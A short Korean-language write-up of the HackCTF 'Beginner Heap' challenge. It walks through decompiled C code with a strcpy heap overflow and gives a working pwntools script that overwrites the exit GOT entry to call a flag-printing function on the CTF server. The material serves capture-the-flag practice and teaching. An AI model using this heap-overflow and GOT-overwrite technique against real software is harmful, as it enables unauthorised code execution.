Hackctf Beginner Heap Writeup

LeeDoHyun · April 14, 2020

Heap 입문용으로 딱 좋은 문제인거 같습니다.

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  void *v3; // ST10_8
  void *v4; // ST18_8
  char s; // [rsp+20h] [rbp-1010h]
  unsigned __int64 v6; // [rsp+1028h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v3 = malloc(0x10uLL);
  *(_DWORD *)v3 = 1;
  *((_QWORD *)v3 + 1) = malloc(8uLL);
  v4 = malloc(0x10uLL);
  *(_DWORD *)v4 = 2;
  *((_QWORD *)v4 + 1) = malloc(8uLL);
  fgets(&s, 4096, stdin);
  strcpy(*((char **)v3 + 1), &s);               // Heap Overflow
  fgets(&s, 4096, stdin);
  strcpy(*((char **)v4 + 1), &s);
  exit(0);
}

코드를보면 16번째 라인에서 Heap Overflow가 발생합니다. 여기서 종료를할때 exit함수를 호출합니다.

40바이트의 값을주어 Heap Overflow를 발생시키고 exit got를 sub_400826() 함수주소로 덮어버리면 됩니다.

ex.py

#!/usr/bin/env python2
#-*-coding:utf8-*-

from pwn import *

#context.log_level = 'debug'
IP = 'ctf.j0n9hyun.xyz'
PORT = '3016'
r = remote(IP, PORT)
#r = process('./beginner_heap.bin')
e = ELF('./beginner_heap.bin')
libc = e.libc
#libc = ELF('libc.so.6')

exit_got = e.got['exit']
cat_flag = 0x400826

def Heap_Overflow():
	payload = 'A'*(0x20 + 0x8)
	payload += p64(exit_got)
	r.sendline(payload)

def Overwrite():
	payload = p64(cat_flag)
	r.sendline(payload)

Heap_Overflow()
Overwrite()
r.interactive()

Twitter, Facebook